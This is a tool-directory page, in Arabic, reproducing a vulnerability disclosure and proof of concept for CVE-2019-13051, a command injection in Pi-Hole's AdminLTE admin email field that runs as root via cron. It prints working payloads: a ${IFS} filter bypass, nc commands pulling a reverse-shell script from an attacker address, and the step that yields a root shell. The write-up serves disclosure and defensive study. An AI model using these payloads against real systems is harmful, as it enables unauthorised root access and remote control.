Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-13051 | Kitploit
أدوات/GitHubGitHub/pr0tean/cve-2019-13051
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرة
GitHubpr0tean/cve-2019-13051

CVE-2019-13051

عرض المستودع
203منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Pi-Hole < 4.3.2 حقن الأوامر وتصعيد الصلاحيات (CVE-2019-13051)

يحتوي إصدار Pi-Hole 4.3.2 على تصحيح لهذه الثغرة: https://github.com/pi-hole/AdminLTE/pull/974

شكر كبير لفريق تطوير Pi-Hole لمشروعهم الرائع ولتسهيلهم الإبلاغ عن هذه الثغرة!

الملخص التنفيذي

من الممكن الحصول عن بُعد على وصول بصلاحيات root على جهاز RaspberyPi (أو أي جهاز/VM يعمل عليه التطبيق) من خلال الثغرات الموصوفة في مكوّن "AdminLTE". يتطلب استغلال ذلك وصولًا/بيانات اعتماد إدارية لواجهة الويب الخاصة بـ AdminLTE.

بتفصيل أكثر، يمكن تجاوز فحوصات التعبيرات النمطية وتلويث حقل "عنوان البريد الإلكتروني للمسؤول" بأوامر عشوائية. تُخزَّن هذه الأوامر بدورها في "/etc/pihole/setupVars.conf" ثم تُحلَّل وتُنفَّذ بصلاحيات root من مهمة cron.d التي تعمل كل 10 دقائق “/usr/local/bin/pihole updatechecker local”.

المتطلبات الأساسية للهجوم

  1. الاتصال بالشبكة مع تطبيق الويب الإداري لـ Pi-Hole (AdminLTE).
  2. مجموعة من بيانات الاعتماد لتطبيق الويب AdminLTE.

القيود

يجب على المهاجم انتظار فترة الـ 10 دقائق لمهمة cron "/etc/cron.d/pihole" من أجل تنفيذ الأوامر/الأكواد.

الوصف الفني

نأمل أن تساعد التفاصيل التالية وإثبات المفهوم (PoC) في التحقق من المشكلة وإعادة إنتاجها.

بمجرد المصادقة على تطبيق الويب، هناك بعض عمليات التحقق من جانب الخادم التي يحتاج المهاجم إلى تجاوزها لحقن أمر بنجاح.

في "savesettings.php" L:499 يتم تقييم متغير يتحكم به المستخدم "$adminemail" مقابل دالة PHP الداخلية FILTER_VALIDATE_EMAIL وهي فحوصات ضعيفة نسبيًا.

من ثم يمكن تجاوز هذا الفحص وإثبات حقن الأوامر بمجرد وضع مجموعة من علامات backtick داخل علامتي اقتباس مزدوجة، على سبيل المثال، بإدخال ما يلي كبريد إلكتروني للمسؤول:

"`test>/tmp/poc_proof.txt`"@example.com

Screenshot 1

خلال 10 دقائق، سيتم إنشاء ملف مملوك لـ root يحتوي على "test" داخل "/tmp/poc_proof.txt" بصلاحيات root.

Screenshot 2

من أجل تنفيذ أي هجمات أخرى ذات معنى، يحتاج المرء أيضًا إلى تجاوز قيود المسافات البيضاء (وهي ليست أحرفًا صالحة للبريد الإلكتروني ويتم اكتشافها بواسطة دالة FILTER_VALIDATE_EMAIL). لهذا، تم استخدام متغير لينكس الداخلي ${IFS} (الذي يكون افتراضيًا مسافة بيضاء في معظم أنظمة Unix).

PoC:

*ملاحظة: يمكن أتمتة ذلك بسطر واحد باستخدام قواعد قشرة POSIX، أي &&، || ...

  1. تأكد من أن آلية تسليم السكريبت لديك جاهزة على جهازك المهاجم. أي على الجهاز المهاجم:

nc -nvlp 4444 < revshell.py

  1. أرسل الأمر الأول في حقل "عنوان البريد الإلكتروني للمسؤول" لبدء جلب وتخزين سكريبت بايثون للقشرة العكسية في "/tmp/revshell.py":

"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

Screenshot 3

سيبدو طلب HTTP هكذا عند فحصه عبر وكيل HTTP:

Screenshot 4

انتظر 10 دقائق حتى تعمل مهمة cron وتجلب السكريبت، أو لأغراض إعادة الإنتاج قم بتشغيل /usr/local/bin/pihole updatechecker local يدويًا. يمكنك أيضًا التحقق من الأمر المحقون الموجود في "/etc/pihole/setupVars.conf" (المعيَّن لمتغير ADMIN_EMAIL).

  1. تأكد من أن خدمة استقبال القشرة لديك جاهزة. أي على الجهاز المهاجم:

nc -nvlp 4445

  1. أخيرًا، يمكنك إرسال ما يلي:

“`python${IFS}/tmp/revshell.py`”@example.com

مرة أخرى انتظر 10 دقائق (أو نفّذ سكريبت cron يدويًا لأغراض إعادة إنتاج المشكلة) وستحصل على قشرة root على جهازك المهاجم.

Screenshot 1

تنزيل الأداة